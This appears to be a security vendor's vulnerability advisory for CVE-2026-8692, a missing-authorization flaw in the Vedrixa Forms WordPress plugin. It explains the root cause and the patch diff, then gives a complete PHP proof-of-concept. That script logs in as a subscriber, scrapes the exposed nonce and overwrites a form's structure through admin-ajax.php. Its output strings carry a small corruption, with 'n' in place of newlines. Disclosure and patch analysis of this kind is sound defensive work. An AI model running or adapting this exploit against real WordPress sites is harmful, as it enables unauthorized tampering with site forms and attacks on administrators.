Atomic Edge analysis of CVE-2026-8692:
This vulnerability affects Vedrixa Forms plugin versions up to 1.1.1. It allows authenticated attackers with subscriber-level access to modify any form’s structure via the wefb_save_form_structure AJAX action. The CVSS score is 4.3, indicating a moderate severity authorization bypass issue.
Root Cause:
The wefb_save_form_structure() function in /admin/class-registration-form-builder-admin.php (line 864) lacked any capability or permission check before processing requests. The function only verified a nonce (`ajax-nonce`), which was injected into the public frontend via wp_localize_script() in /public/class-registration-form-builder-public.php (lines 126-133). This meant any authenticated user visiting a page with a form shortcode could obtain the nonce and then call the AJAX handler to overwrite any form’s structure in the FORMS database table. The handler accepted attacker-controlled data through $_POST parameters without verifying the user had the proper role (e.g., manage_options capability).
Exploitation:
An attacker with subscriber-level credentials first visits any page containing a Vedrixa Forms shortcode. This page loads a script that exposes a `wpefb_ajax_object` object containing a valid `nonce` and `ajax_url`. The attacker then sends a POST request to /wp-admin/admin-ajax.php with `action=wefb_save_form_structure`, `nonce=`, and attacker-controlled form structure data (e.g., `form_structure` parameter containing JSON with new fields). The plugin processes this request and writes the attacker’s data directly to the FORMS database table, allowing arbitrary modification, removal, or addition of form fields.
Patch Analysis:
The patch adds a capability check using `current_user_can( ‘manage_options’ )` at the start of wefb_save_form_structure(), ensuring only administrators can call this handler. Additionally, the nonce is changed from the static `’ajax-nonce’` to a context-specific `’wpefb_save_form_structure’`, and the public frontend script no longer exposes this nonce (lines removed from /public/class-registration-form-builder-public.php). Before the patch, the function only checked a nonce that subscribers could obtain; after the patch, it requires administrator-level capabilities and a nonce that is only exposed in the admin area via /admin/partials/fields.php (line 52).
Impact:
A subscriber-level attacker can completely alter any form created with the plugin. They can add malicious fields (e.g., hidden fields that exfiltrate data), remove legitimate fields to break form functionality, or inject content into form structures that could lead to stored XSS when admins view or edit the form. The attacker can target any form in the FORMS table, not just forms they created. This compromises the integrity of all forms on the site and could be used to attack administrators when they interact with corrupted form data.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/vedrixa-forms-registration-builder/admin/class-registration-form-builder-admin.php
+++ b/vedrixa-forms-registration-builder/admin/class-registration-form-builder-admin.php
@@ -864,9 +864,22 @@
}
public function wefb_save_form_structure() {
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Unauthorized.', 'vedrixa-forms-registration-builder' ),
+ ),
+ 403
+ );
+ }
- if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'ajax-nonce' ) ) {
- die( esc_html__( 'Failed security check', 'vedrixa-forms-registration-builder' ) );
+ if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpefb_save_form_structure' ) ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Failed security check.', 'vedrixa-forms-registration-builder' ),
+ ),
+ 403
+ );
}
$dbhandler = new WPEFB_DBhandler();
$identifier = 'FORMS';
--- a/vedrixa-forms-registration-builder/admin/partials/fields.php
+++ b/vedrixa-forms-registration-builder/admin/partials/fields.php
@@ -49,7 +49,7 @@
'wpefb_admin_ajax_object',
array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
- 'nonce' => wp_create_nonce( 'ajax-nonce' ),
+ 'nonce' => wp_create_nonce( 'wpefb_save_form_structure' ),
'form_options' => $form_options,
'dashboard_url' => esc_url_raw( $dashboard_url ),
'pro' => array(
@@ -302,4 +302,3 @@
</div>
</div>
-
--- a/vedrixa-forms-registration-builder/public/class-registration-form-builder-public.php
+++ b/vedrixa-forms-registration-builder/public/class-registration-form-builder-public.php
@@ -118,15 +118,6 @@
$error['empty_chat_message'] = esc_html__( "I am sorry, I can't send an empty message. Please write something and try sending it again.", 'vedrixa-forms-registration-builder' );
wp_localize_script( $this->registration_form_builder, 'wpefb_error_object', $error );
- wp_localize_script(
- $this->registration_form_builder,
- 'wpefb_ajax_object',
- array(
- 'ajax_url' => admin_url( 'admin-ajax.php' ),
- 'nonce' => wp_create_nonce( 'ajax-nonce' ),
- )
- );
-
wp_register_script( 'easy-form-frontend-formbuilder', plugin_dir_url( __FILE__ ) . 'js/registration-form-builder-main.js', array( 'jquery' ), $this->version, true );
}
--- a/vedrixa-forms-registration-builder/vedrixa-forms-registration-builder.php
+++ b/vedrixa-forms-registration-builder/vedrixa-forms-registration-builder.php
@@ -14,7 +14,7 @@
* Plugin Name: Vedrixa Forms - Contact & Registration Form Builder
* Plugin URI: https://registrationformbuilder.com
* Description: Drag-and-drop WordPress form builder to create contact forms, registration forms, and custom forms with email notifications and submission management.
- * Version: 1.1.1
+ * Version: 1.2.0
* Author: Vedrixa
* Author URI: https://vedrixa.com
* License: GPL-2.0-or-later
@@ -31,7 +31,7 @@
}
define( 'WPEFB_PLUGIN_FILE', __FILE__ );
-define( 'WPEFB_PLUGIN_VERSION', '1.1.1' );
+define( 'WPEFB_PLUGIN_VERSION', '1.2.0' );
define( 'WPEFB_DB_VERSION', 1.0 );
/**
* The code that runs during plugin activation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8692 - Vedrixa Forms <= 1.1.1 - Missing Authorization to Form Structure Modification
// Configuration - Set these values
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber credentials
$password = 'password';
// Step 1: Authenticate as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Visit a page with form shortcode to obtain nonce from wpefb_ajax_object
$page_url = $target_url . '/any-page-with-form-shortcode/'; // Adjust to a known page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce from the page (look for wpefb_ajax_object.nonce)
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
die('[-] Could not extract nonce. Ensure you are logged in and the page contains a form shortcode.');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";
// Step 3: Exploit - Overwrite form structure (e.g., form ID 1)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$form_id = 1; // Target form ID - change as needed
// Attacker-controlled form structure: adding a malicious text field
$malicious_structure = array(
array(
'id' => 'malicious_field',
'type' => 'text',
'label' => 'Exfiltrate Data',
'required' => true,
'placeholder' => '',
'value' => ''
)
);
$post_data = array(
'action' => 'wefb_save_form_structure',
'nonce' => $nonce,
'form_id' => $form_id,
'form_structure' => json_encode($malicious_structure)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response: $responsen";
if ($http_code == 200) {
$json = json_decode($response, true);
if (isset($json['success']) && $json['success'] === true) {
echo "[!] Successfully overwritten form structure.n";
} else {
echo "[-] Request processed but response indicates failure.n";
}
} elseif ($http_code == 403) {
echo "[-] Received 403 - access denied (likely patched).n";
} else {
echo "[-] Unexpected response.n";
}
// Clean up
unlink('/tmp/cookies.txt');
?>
